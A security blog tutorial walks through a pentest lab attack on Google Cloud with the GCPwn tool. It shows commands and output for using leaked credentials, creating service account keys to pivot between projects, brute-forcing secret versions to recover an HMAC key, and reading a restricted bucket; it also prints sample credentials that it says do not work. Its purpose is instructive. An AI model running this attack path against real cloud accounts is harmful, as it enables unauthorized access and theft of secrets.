An Introduction to GCPwn – Parts 2 and 3
Part 2
Having covered authentication and modules in Part 1 of this blog, I’ll begin to walk through some example exploits/scenarios in Parts 2 & 3. Note I presented a similar scenario at fwd:cloudsec 2024 albeit with less modules shown.
NOTE NONE OF THE PLAINTEXT CREDENTIALS WORK IN THIS BLOG 🙂
This attack path will cover the following steps:
- Step 0: The Breach Premise
- Step 1: Setting Up Email/Password Credentials
- Step 2: Launch GCPwn with ADC Credentials
- Quick Overview of Next Steps: Generate Service Account Key
- Step 3: Reconnaissance in “my-private-test-project-430102”
- Step 4: Pivoting to “staging-project-1-426001” via SA Key
- Quick Overview of Next Steps: Get HMAC key From SecretsManager to then Enumerate Bucket via SigV4 Format
- Step 5: Enumerate, Enumerate, Enumerate Again (Buckets & Secrets)
- Step 6: Download Bucket Content with HMAC Keys
Step 0: The Breach
Assume you are performing a pentest on a company and get access to a user’s desktop. Looking around you eventually stumble across “my_gmail_creds.txt”. While props can be given for good file naming convention, these would have to be subsequently taken back due to the existence of the following content in the text file:
Step 1: Setting Up Email/Password Credentials
This discovery of an email/password means we will go the ADC route in gcpwn which requires running some prep gcloud commands. You could run gcloud from within gcpwn but we are showing it before the tool installation for simplicity sake
First, we will run “gcloud auth login” and sign in with the user credentials.
Command Line Instructions/Response
> gcloud auth login Your browser has been opened to visit: https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=325[TRUNCATED] You are now logged in as [fwdcloudsec2233@gmail.com]. Your current project is [None]. You can change this setting by running: $ gcloud config set project PROJECT_ID
Great! The credentials worked. It looks like the user has access to one project with the project ID shown below.
Having successfully authenticated with the user email, let’s set the project ID via gcloud. Technically you can set it while in the tool with `projects set` but it tends to go more smoothly with email/password workflows just setting it via gcloud.
> gcloud config set project my-private-test-project-430102 Updated property [core/project].
With “gcloud auth login” successful and the project ID set, we need to run one final command to get our ADC credentials setup:
. After running this command and signing into the GCP console once again, we should be good to proceed with gcpwn. As we will see later, adding credentials like service accounts is much simpler in that you point GCPwn to static values. For ADC it’s a bit more involved hence why this route is shown.gcloud auth application-default login
> gcloud auth application-default login Your browser has been opened to visit: https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=7640[TRUNCATED] Credentials saved to file: [/home/kali/.config/gcloud/application_default_credentials.json] These credentials will be used by any library that requests Application Default Credentials (ADC).
Step 2: Launch GCPwn with ADC Credentials
Having setup our authenticated gcloud CLI configuration, let’s start GCPwn and generate a credential set for our ADC credentials. To install GCPwn, follow the installation instructions per the gcpwn wiki. Then launch GCPwn as shown below. Since this is the tool’s first launch it will prompt you to define a workspace, a purely logical container to group your results.
> python3 main.py [*] No workspaces were detected. Please provide the name for your first workspace below. > New workspace name: cool_pentesting_workspace [*] Workspace 'cool_pentesting_workspace' created. GCPwn - https://github.com/NetSPI/gcpwn Written and researched by Scott Weston of NetSPI (https://www.netspi.com/). Heavy inspiration/code snippets from Rhino Security Labs - https://rhinosecuritylabs.com/ Like Pacu for AWS, the goal of this tool is to be a more pentesty tool for red team individuals or those who are less concerned with configuration statistics. A wiki was created that explains all the modules/optins listed below found here: https://github.com/NetSPI/gcpwn/wiki. GCPwn command info: creds [list] creds info [<credname>] Get all info about current user creds tokeninfo [<credname] Send token to tokeninfo endponit to get more details [TRUNCATED] Other command info: gcloud/bq/gsutil <command> Run GCP CLI tool. It is recommended if you want to add a set of ADC creds while in GCPwn to run the following commands to add them at the command line gcloud auth login gcloud auth application-default login Welcome to your workspace! Type 'help' or '?' to see available commands. [*] Listing existing credentials... Submit the name or index of an existing credential from above, or add NEW credentials via Application Default Credentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, or Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit an empty string. [1] *adc <credential_name> [tokeninfo] (ex. adc mydefaultcreds [tokeninfo]) [2] *adc-file <credential_name> <filepath> [tokeninfo] (ex. adc-file mydefaultcreds /tmp/name2.json) [3] *oauth2 <credential_name> <token_value> [tokeninfo] (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK) [4] service <credential_name> <filepath_to_service_creds> (ex. service mydefaultcreds /tmp/name2.json) [TRUNCATED] Input: adc leaked_adc_dev_creds [*] Project ID of credentials is: my-private-test-project-430102 [*] Credentials successfuly added [*] Loading in ADC credentials... [*] Attempting to refresh the credentials using the stored refresh token. Note this is normal for brand new OAuth2 credentials added/updated. [*] Credentials sucessfully refreshed... [*] Credentials sucessfully stored/updated... [*] Proceeding with up-to-date ADC credentials for leaked_adc_dev_creds... [*] Loaded credentials leaked_adc_dev_creds (my-private-test-project-430102:leaked_adc_dev_creds)>
Quick Overview of Next Steps: Generate a Service Account Key
At this point, let’s take a quick pause and look at the diagram below. This will effectively cover what our next steps will be. After some enumeration as the fwdcloudsec user, we will see that there is nothing of note in my-private-test-project-430102. The note in step 0 details a service account presumably in project ID “staging-project-1-426001”. Using this information, we will attempt to generate a key for the service account. This will be successful as the fwdcloudsec user is set up with the “Service Account Keys Admin” role on the select service account (although you as the attacker would not be privy to this knowledge).
Step 3: Reconnaissance in “my-private-test-project-430102”
Having added credentials to GCPwn and set the project ID, the next steps will usually be enumerate, enumerate, enumerate.
We want to find out as the fwdcloudsec user
- What resources we have access to in this project
- What permissions does our user have in the project
As shown below we will:
- Run
creds info
before any enumeration which will return an empty set of permissions for the fwdcloudsec user. - Run
creds tokeninfo
to send our access token to tokeninfo and get back the scope/permissions. Note you can manually set a credential email from within GCPwn, and we are just calling tokeninfo here for the sake of demonstrating the feature. - Run
creds info
again which will show that the additional scope/email has been added to the credentials profile. - Run
enum_all --iam
which will run ALL the enumeration modules. The “–iam” flag also will run testIamPermissions on organizations, folders, projects, buckets, functions, etc., which will return more enumerated permissions overall. We will add a “–txt” flag to save the output to a text file for later review if needed. - Run
creds info
again which will reveal what permissions fwdcloudsec might have. Many permissions are returned as enum_resources (which is included in enum_all) enumerates projects/folders/organizations and passing in “–iam” will run testIamPermissions at the project level. For those familiar with AWS, this is synonymous with enumerating permissions at the AWS account level. GCPwn will highlight dangerous or noticeable permissions red which is highlighted in the screenshot below.
(my-private-test-project-430102:leaked_adc_dev_creds)> creds info Summary for leaked_adc_dev_creds: Email: None Scopes: - N/A Default Project: my-private-test-project-430102 All Projects: - my-private-test-project-430102 Access Token: ya29.a0AXooCgtX4[REDACTED] (my-private-test-project-430102:leaked_adc_dev_creds)> creds tokeninfo [*] Checking credentials against https://oauth2.googleapis.com/tokeninfo endpoint... [*] Succeeded in querying tokeninfo. The response is shown below: {'azp': '764[TRUNCATED].apps.googleusercontent.com', 'aud': '764[TRUNCATED]apps.googleusercontent.com', 'sub': '1057[TRUNCATED]', 'scope': 'https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/userinfo.email openid', 'exp': '1721533307', 'expires_in': '3506', 'email': 'fwdcloudsec2233@gmail.com', 'email_verified': 'true', 'access_type': 'offline'} (my-private-test-project-430102:leaked_adc_dev_creds)> creds info Summary for leaked_adc_dev_creds: Email: fwdcloudsec2233@gmail.com Scopes: - https://www.googleapis.com/auth/cloud-platform (See, edit, configure, and delete your Google Cloud data and see the email address for your Google Account.) - https://www.googleapis.com/auth/sqlservice.login - https://www.googleapis.com/auth/userinfo.email - openid Default Project: my-private-test-project-430102 All Projects: - my-private-test-project-430102 Access Token: ya29.a0AXooCgtX4[REDACTED] (my-private-test-project-430102:leaked_adc_dev_creds)> modules run enum_all --iam --txt /tmp/enum_all_txt_output_my-private-test-project-430102.txt [*]--------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for my-private-test-project-430102 [***********] [*]--------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of RESOURCE MANAGER Resources... [*] Searching Organizations [*] Searching All Projects [*] Searching All Folders [*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible [*] NOTE: This might take a while depending on the size of the domain [SUMMARY] GCPwn found or retrieved NO Organization(s) [SUMMARY] GCPwn found or retrieved NO Folder(s) [SUMMARY] GCPwn found 1 Project(s) - projects/765211561384 (My Private Test Project) - ACTIVE [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking my-private-test-project-430102 for instances... [X] STATUS 403: Compute API does not appear to be enabled for project my-private-test-project-430102 [SUMMARY] GCPwn found or retrieved NO Compute Instance(s) in my-private-test-project-430102 [*] Checking Cloud Compute Project my-private-test-project-430102... [X] STATUS 403: Compute API does not appear to be enabled for project my-private-test-project-430102 [SUMMARY] GCPwn found or retrieved NO Compute Project(s) with potential metadata shown below. [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking my-private-test-project-430102 for functions... [X] 403 The Cloud Functions API is not enabled for projects/my-private-test-project-430102/locations/- [SUMMARY] GCPwn found or retrieved NO Function(s) in my-private-test-project-430102 [*] Beginning Enumeration of CLOUD STORAGE Resources... [*] Checking my-private-test-project-430102 for HMAC keys... [SUMMARY] GCPwn found or retrieved NO HMAC Key(s) with corresponding service accounts (SAs) in my-private-test-project-430102 [*] Checking my-private-test-project-430102 for buckets/blobs via LIST buckets... [SUMMARY] GCPwn found or retrieved NO Buckets (with up to 10 blobs shown each) in my-private-test-project-430102 [*] Beginning Enumeration of SECRETS MANAGER Resources... [*] Beginning Enumeration of IAM Resources... [*] Checking my-private-test-project-430102 for service accounts... [SUMMARY] GCPwn found or retrieved NO Service Account(s) in my-private-test-project-430102 [*] Checking my-private-test-project-430102 for roles... [SUMMARY] GCPwn found or retrieved NO Custom Role(s) [*] Checking IAM Policy for Organizations... [*] Checking IAM Policy for Folders... [*] Checking IAM Policy for Projects... [*] Checking IAM Policy for Buckets... [*] Checking IAM Policy for CloudFunctions... [*] Checking IAM Policy for Compute Instances... [*] Checking IAM Policy for Service Accounts... [*] Checking IAM Policy for Secrets... [***********] Ending enumeration for my-private-test-project-430102 [***********] [*]-------------------------------------------------------------------------------------------------------[*] (my-private-test-project-430102:leaked_adc_dev_creds)> creds info Summary for leaked_adc_dev_creds: Email: fwdcloudsec2233@gmail.com Scopes: - https://www.googleapis.com/auth/cloud-platform (See, edit, configure, and delete your Google Cloud data and see the email address for your Google Account.) - https://www.googleapis.com/auth/sqlservice.login - https://www.googleapis.com/auth/userinfo.email - openid Default Project: my-private-test-project-430102 All Projects: - my-private-test-project-430102 Access Token: ya29.a0AXooCgss[REDACTED] [******] Permission Summary for leaked_adc_dev_creds [******] - Project Permissions - my-private-test-project-430102 - cloudfunctions.functions.call [TRUNCATED] - compute.subnetworks.use - compute.subnetworks.useExternalIp - deploymentmanager.deployments.create - iam.roles.update - iam.serviceAccountKeys.create - iam.serviceAccounts.actAs - orgpolicy.policies.list - orgpolicy.policy.get - resourcemanager.hierarchyNodes.createTagBinding - resourcemanager.hierarchyNodes.deleteTagBinding - resourcemanager.hierarchyNodes.listEffectiveTags - resourcemanager.hierarchyNodes.listTagBindings - resourcemanager.projects.createBillingAssignment - resourcemanager.projects.delete - resourcemanager.projects.deleteBillingAssignment - resourcemanager.projects.get - resourcemanager.projects.getIamPolicy - resourcemanager.projects.move - resourcemanager.projects.setIamPolicy - resourcemanager.projects.undelete - resourcemanager.projects.update - resourcemanager.projects.updateLiens [TRUNCATED] - resourcemanager.tagValues.update - storage.hmacKeys.create - storage.hmacKeys.delete - storage.hmacKeys.get - storage.hmacKeys.list - storage.hmacKeys.update
Color Output
Step 4: Pivoting to “staging-project-1-426001” via Service Account Key
Having enumerated permissions/resources in the current project, let’s circle back to the note from Step 0 to see if there are any pivoting opportunities. The note mentions another service account, dev-service-account@staging-project-1-426001.iam.gserviceaccount.com, which in of itself contains a project ID, “staging-project-1-426001”. Thus, the service account itself could be a potential pivot into a different project ID.
We can’t see what permissions the fwdcloudsec user has over the dev-service-account service account, but we can still try to generate a service account key as a blind attempt. This will require the use of our first exploit module: “exploit_service_account_key”.
As a quick aside, note in the image below modules can be filtered and an info blurb exists for many of them:
In term terms of exploit_service_account_key, we will perform the steps shown below. Namely, we will:
- Run the exploit module exploit_service_account_keys with the “-h” flag to see all the options possible for code execution.
- Successfully run exploit_service_account_keys while specifying the specific service account name per the format dictated by the module. Note this includes the project ID and service account email.
- Leverage the new key per the success prompt to pivot to a new credential set tied to the service account key. This new credential will be saved allowing us to drop back into it later upon gcpwn resuming.
- Set the project ID as it did NOT change when swapping to the new credentials. We use
projects set <project_id>
.
(my-private-test-project-430102:leaked_adc_dev_creds)> modules run exploit_service_account_keys -h usage: main.py [-h] [--sa SA] [--sa-key SA_KEY] [--create | --disable | --enable] [--assume] [-v] Exploit Service Account Key options: -h, --help show this help message and exit --sa SA Service account to generate service credentials for in the format projects/[project_id]/serviceAccount/[email] --sa-key SA_KEY Service account to key to enable/disable --create Create SA key --disable Disable SA key --enable Enable SA key --assume Assume the new credentials once created -v, --debug Get verbose data during the module run (my-private-test-project-430102:leaked_adc_dev_creds)> modules run exploit_service_account_keys --sa projects/staging-project-1-426001/serviceAccounts/my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com [*]-------------------------------------------------------------------------------------------------------[*] > Do you want to create a new sa key or disable/enable an existing one? >> [1] CREATE >> [2] ENABLE >> [3] DISABLE > [4] Exit > Choose an option: 1 > The key was successfully created. Do you want to try assuming the new credentials [y\n].y [*] Credentials successfully added Loading in Service Credentials... [*] Loaded credentials my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192 [*]-------------------------------------------------------------------------------------------------------[*] (my-private-test-project-430102:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> projects [*] Current projects known for all credentials: my-private-test-project-430102 (my-private-test-project-430102:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> projects set staging-project-1-426001 [X] staging-project-1-426001 is not in the list of project_ids. Adding... (staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> projects [*] Current projects known for all credentials: my-private-test-project-430102 staging-project-1-426001 (staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> creds info Summary for my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192: Email: my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: N/A
Quick Overview of Next Steps: Get HMAC Key From SecretsManager to then Enumerate Bucket via SigV4 Format
Again, let’s take a quick pause and look at the diagram below. This will effectively cover what our next steps will be. We will identify a blob that exists in old-development-bucket-9282734 per enumeration. This bucket blob will give us a secret name but not specify the secret version. We will brute force all version numbers for the secret to get back a value consisting of HMAC keys tied to the bucket-accessor service account. These HMAC keys will then be used to download a blob from the normally blocked bucket service-account-details-2323232 via SigV4 and the Google Storage XML API. Finally, the ability to access this bucket will give us a new service account key for deployer-service-account.
Step 5: Enumerate, Enumerate, and Enumerate Again (Buckets & Secrets)
While we have credentials for a new service account, my-dev-service-account, we still do not know what permissions the principal has respective to its project. As before, we can run “enum_all” to run all the enumeration modules and see what comes back.
Because we added another project ID to GCPwn in the previous part, the tool will prompt the user to either run the selected module on the current project ID or all project IDs. GCPwn keeps a global list of project IDs (viewable via the “projects” command) to check REGARDLESS of the current user permissions/presence in that project ID. If you ever want to specify a subset of project IDs to run the module on, you can pass in --project-ids <project_id1>,<project_id2>
to most modules. Just note choosing all projects might result in modules being run on unintended projects if they are in the global list.
(staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> modules run enum_all > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [***********] Beginning enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*] [*] Beginning Enumeration of RESOURCE MANAGER Resources... [*] Searching Organizations [*] Searching All Projects [*] Searching All Folders [-] No organizations, projects, or folders were identified. You might be restricted with regard to projects. If you know of a project name add it manually via 'projects add <project_name> from the main menu [*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible [*] NOTE: This might take a while depending on the size of the domain [SUMMARY] GCPwn found or retrieved NO Organization(s) [SUMMARY] GCPwn found or retrieved NO Folder(s) [SUMMARY] GCPwn found or retrieved NO Project(s) [*] Beginning Enumeration of CLOUD COMPUTE Resources... [*] Checking staging-project-1-426001 for instances... [X] STATUS 403: Compute API does not appear to be enabled for project staging-project-1-426001 [SUMMARY] GCPwn found or retrieved NO Compute Instance(s) in staging-project-1-426001 [*] Checking Cloud Compute Project staging-project-1-426001... [X] STATUS 403: Compute API does not appear to be enabled for project staging-project-1-426001 [SUMMARY] GCPwn found or retrieved NO Compute Project(s) with potential metadata shown below. [*] Beginning Enumeration of CLOUD FUNCTION Resources... [*] Checking staging-project-1-426001 for functions... [X] 403 The Cloud Functions API is not enabled for projects/staging-project-1-426001/locations/- [SUMMARY] GCPwn found or retrieved NO Function(s) in staging-project-1-426001 [*] Beginning Enumeration of CLOUD STORAGE Resources... [X] 403: The user does not have storage.hmacKeys.list permissions on bucket [*] Checking staging-project-1-426001 for HMAC keys... [SUMMARY] GCPwn found or retrieved NO HMAC Key(s) with corresponding service accounts (SAs) in staging-project-1-426001 [*] Checking staging-project-1-426001 for buckets/blobs via LIST buckets... [**] Reviewing old-development-bucket-9282734 [***] GET Bucket Object [***] LIST Bucket Blobs [***] GET Bucket Blobs [**] Reviewing service-account-details-2323232exit blob counts for this bucket... [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket service-account-details-2323232 [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [SUMMARY] GCPwn found 2 Buckets (with up to 10 blobs shown each) in staging-project-1-426001 - old-development-bucket-9282734 - my_staging_service_key.json - service-account-details-2323232 *See all blobs with 'data tables cloudstorage-bucketblobs --columns bucket_name,name [--csv filename]' [*] Beginning Enumeration of SECRETS MANAGER Resources... [*] Beginning Enumeration of IAM Resources... [*] Checking staging-project-1-426001 for service accounts... [SUMMARY] GCPwn found or retrieved NO Service Account(s) in staging-project-1-426001 [*] Checking staging-project-1-426001 for roles... [SUMMARY] GCPwn found or retrieved NO Custom Role(s) [*] Checking IAM Policy for Organizations... [*] Checking IAM Policy for Folders... [*] Checking IAM Policy for Projects... [*] Checking IAM Policy for Buckets... [X] 403: The user does not have storage.buckets.getIamPolicy permissions [*] Checking IAM Policy for CloudFunctions... [*] Checking IAM Policy for Compute Instances... [*] Checking IAM Policy for Service Accounts... [*] Checking IAM Policy for Secrets... [***********] Ending enumeration for staging-project-1-426001 [***********] [*]-------------------------------------------------------------------------------------------------------[*]
It looks like enum_all did find some interesting results when run on just staging-project-1-426001. Some items to note are:
- No secrets or secret versions were returned from this enumeration. This will be relevant later.
- Two buckets were identified. A blob was listed for one bucket, and it’s unclear if no blobs were listed for the other bucket, “service-account-details-2323232”, due to permissions or the bucket just being empty.
Note if we forgot the bucket name from stdout above we could get enumerated data (like the bucket/blob names) via the following format: data tables <table_name> --columns <column_name1>,<column_name2>,… [--csv <filename>]
.
(staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> data tables cloudstorage-bucketblobs --columns bucket_name,name bucket_name,name old-development-bucket-9282734,my_staging_service_key.json
Let’s check out the one blob we can enumerate, my_staging_service_key.json. We will run enum_buckets but add the “–download” flag to download all reachable blobs. Note creds info
(which also could have been run after enum_all in the previous steps) shows the added permissions identified from the successful module run. Notice how we only have “storage.objects.list” for one of the two buckets explaining why we can’t see the blobs in bucket service-account-details-2323232
(staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> modules run enum_buckets --download > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [*] Checking staging-project-1-426001 for buckets/blobs via LIST buckets... [**] Reviewing old-development-bucket-9282734 [***] GET Bucket Object [***] LIST Bucket Blobs [***] GET Bucket Blobs [***] DOWNLOAD Bucket Blobs [**] Reviewing service-account-details-2323232exit blob counts for this bucket... [***] GET Bucket Object [X] 403 The user does not have storage.buckets.get permissions on bucket service-account-details-2323232 [***] LIST Bucket Blobs [X] 403: The user does not have storage.objects.list permissions on [SUMMARY] GCPwn found 2 Buckets (with up to 10 blobs shown each) in staging-project-1-426001 - old-development-bucket-9282734 - my_staging_service_key.json - service-account-details-2323232 *See all blobs with 'data tables cloudstorage-bucketblobs --columns bucket_name,name [--csv filename]' [*]-------------------------------------------------------------------------------------------------------[*] (staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> creds info Summary for my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192: Email: my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: N/A [******] Permission Summary for my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192 [******] - Project Permissions - staging-project-1-426001 - storage.buckets.list - Storage Actions Allowed Permissions - staging-project-1-426001 - storage.buckets.get - old-development-bucket-9282734 (buckets) - storage.objects.list - old-development-bucket-9282734 (buckets) - storage.objects.get - old-development-bucket-9282734 (buckets) - storage.buckets.getIamPolicy - old-development-bucket-9282734 (buckets)
Having downloaded our data, let’s check its contents. All downloaded data (unless otherwise specified) ends up in the GatheredData folder at the root of gcpwn as seen below.
> tree GatheredData GatheredData └── 1_cool_pentesting_workspace └── Storage └── REST └── staging-project-1-426001 └── old-development-bucket-9282734 └── my_staging_service_key.json
Reading the JSON file, we will see we are not as lucky as we had hoped.
> cat my_staging_service_key.json Nice try! We got docked for putting service account keys in buckets :(. I put the service account key in a special bucket "service-account-details-2323232" which is ONLY accessible to a new service account I made: "bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com". Creds for this are protected in secrets manager under the "ServiceAccountHMACKeys-388372" secrets. Think the secret version got overwritten but our script seems to still be working so not messing with it. ONLY that bucket-accessor service account should be able to access our bucket
Apparently, the devs watched my fwd:cloudsec video and removed the credentials from this blob. Reading their message we can discern:
- There is a service account key in bucket service-account-details-2323232. As mentioned earlier it does not appear like we have permissions to access service-account-details-2323232 blobs with our current user.
- Per the secret name, ServiceAccountHMACKeys-388372, it appears like Cloud Storage HMAC keys are being used to access the bucket service-account-details-2323232. If you want to learn about HMAC keys review documentation here. In short, HMAC keys allow a user to access GCP buckets using SigV4 and requests are tied to Google’s “XML API” version for Cloud Storage (this is not part of the GCP SDK, I do this in gcpwn via requests library). Interestingly, if you are familiar with AWS SigV4, you can use the same methodology and just point to the GCP storage endpoint and it should still work. In fact, the enum_buckets call that will be used later to enumerate bucket contents over SigV4 and XML sends AWS headers to the GCP endpoint but still works due to the feature focusing on interoperability between the cloud providers.
- The HMAC keys are in a secret in secrets manager, although its unclear what version of the secret contains our HMAC keys.
I can say for a fact the compromised service account, my-dev-service-account, has permissions to access secret version values (secretmanager.versions.access) per how I set it up. Looking back at our enum_all output, we had no secret values listed, so what gives? Well, gcpwn by default operates by trying to first call “List” on a resource followed by “Get” requests; in the absence of flags gcpwn must rely on the response from that initial List call. Therefore, if you don’t have list permissions on the resource, which my-dev-service-account does not for secrets manager, gcpwn won’t appear to pick up anything. The solution is to manually pass in the resource names to skip the List step and target specific secrets.
Luckily the note above gave us the name of the secret to target. The enum_secrets module allows us to specify a version integer range along with the keyword “latest” as opposed to having to pass in every secret version one by one. With this in mind, lets take the secret name from the note, and try to run enum_secrets with a random version range specified. Let’s also add the –download flag as well to download any secrets found.
(staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> modules run enum_secrets --secrets projects/staging-project-1-426001/secrets/ServiceAccountHMACKeys-388372 --version-range 1-20,latest --download > Do you want to scan all projects or current single project? If not specify a project-id(s) with '--project-ids project1,project2,project3' >> [1] All Projects >> [2] Current/Single > [3] Exit > Choose an option: 2 [*] Proceeding with just the current project ID [*]-------------------------------------------------------------------------------------------------------[*] [**] [staging-project-1-426001] Reviewing projects/staging-project-1-426001/secrets/ServiceAccountHMACKeys-388372 [***] GET Base Secret Entity [***] LIST Secret Versions [****] GET Secret Version 1 [****] GETTING Secret Values For 1 [****] SECRET VALUE RETRIEVED FOR 1 [****] GET Secret Version 2 [****] GETTING Secret Values For 2 [****] SECRET VALUE RETRIEVED FOR 2 [****] GET Secret Version 3 [****] GETTING Secret Values For 3 [****] SECRET VALUE RETRIEVED FOR 3 [****] GET Secret Version 4 [****] GETTING Secret Values For 4 [****] SECRET VALUE RETRIEVED FOR 4 [****] GET Secret Version 5 [****] GETTING Secret Values For 5 An unknown exception occurred when trying to call get_secret_version as follows: 404 Secret Version [projects/239052134916/secrets/ServiceAccountHMACKeys-388372/versions/5] not found. [****] GET Secret Version 6 [****] GETTING Secret Values For 6 An unknown exception occurred when trying to call get_secret_version as follows: 404 Secret Version [projects/239052134916/secrets/ServiceAccountHMACKeys-388372/versions/6] not found. [TRUNCATED] [****] GET Secret Version latest [****] GETTING Secret Values For latest [****] SECRET VALUE RETRIEVED FOR latest [SUMMARY] GCPwn found 1 Secret(s) in staging-project-1-426001 - ServiceAccountHMACKeys-388372 - 1: ${secret_hmac_key} - 2: {secret_hmac_key} - 3: bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com GOOG1ELRQCDB33CEMAVFSAR6XOUDNYEV6GJDKKTCHJ3WNX5FLLP3C2 - 4: Why are we putting service account keys in buckets and then HMAC keys in here? Let's brainstorm a better solution Monday - latest: Why are we putting service account keys in buckets and then HMAC keys in here? Let's brainstorm a better solution Monday [*]-------------------------------------------------------------------------------------------------------[*] (staging-project-1-426001:my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192)> creds info Summary for my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192: Email: my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com Scopes: - N/A Default Project: staging-project-1-426001 All Projects: - my-private-test-project-430102 - staging-project-1-426001 Access Token: N/A [******] Permission Summary for my-dev-service-account@staging-project-1-426001.iam.gserviceaccount.com_1721531912.325192 [******] [TRUNCATED] - Secret Actions Allowed Permissions - staging-project-1-426001 - secretmanager.versions.access - ServiceAccountHMACKeys-388372 (Version: 1) (secret version) - ServiceAccountHMACKeys-388372 (Version: 2) (secret version) - ServiceAccountHMACKeys-388372 (Version: 3) (secret version) - ServiceAccountHMACKeys-388372 (Version: 4) (secret version) - ServiceAccountHMACKeys-388372 (Version: latest) (secret version)
It looks like versions 1-4 and latest were successful in retrieving secret values (version 4 and latest are the same secret version technically). In the text output we can see that a secret was added in version 3 that looks like a HMAC key and was later changed in version 4 with the user erroneously thinking changing later versions overwrote the past versions. Some standard output in gcpwn will restrict the output to a certain length. To see the full secret value, we can query the relevant table with data tables
or check the downloaded file as shown below. Checking the CSV in GatheredData, we will see the version 3 secret contained an access key ID and secret key for a storage HMAC.
> cat GatheredData/1_cool_pentesting_workspace/SecretManager/secrets_data_file.csv secret_project_id,secret_name_version,secret_value_data staging-project-1-426001,ServiceAccountHMACKeys-388372 (Version: 1),b'${secret_hmac_key}' staging-project-1-426001,ServiceAccountHMACKeys-388372 (Version: 2),b'{secret_hmac_key}' staging-project-1-426001,ServiceAccountHMACKeys-388372 (Version: 3),b' bucket-accessor@staging-project-1-426001.iam.gserviceaccount.com\nGOOG1ELRQCDB33CEMAVFSAR6XOUDNYEV6GJDKKTCHJ3WNX5FLLP3C25DJRDAV\ntxyzyeg3H/F79ARUP1YxF0CoZAjeUreTytd++icK' staging-project-1-426001,ServiceAccountHMACKeys-388372 (Version: 4),"b""Why are we putting service account keys in buckets and then HMAC keys in here? Let's brainstorm a better solution Monday. Adding a secret version to overwrite previous values so no one will see it.""" staging-project-1-426001,ServiceAccountHMACKeys-388372 (Version: latest),"b""Why are we putting service account keys in buckets and then HMAC keys in here? Let's brainstorm a better solution Monday. Adding a secret version to overwrite previous values so no one will see it."""
Step 6: Download Bucket Content with HMAC Keys
Great! We have the HMAC keys but now what? How do we use these to make SIgV4 requests? Luckily, gcpwn already has this feature built into enum_buckets per the “–access-id” and “–hmac-secret” flags for both listing and downloading buckets/blobs. Running the module with these values will send SigV4 requests to the Cloud Storage XML API for downloading bucket contents. Because it’s SigV4 and it was a struggle to make in vanilla python, it will actually send AWS headers as part of these requests to GCP endpoints just to align with SigV4 standards. The request still targets GCP buckets and ideally these will switch to google headers in a future update. Running our module, you will notice blobs are now listed under the “service-account-details-2323232” bucket successfully.
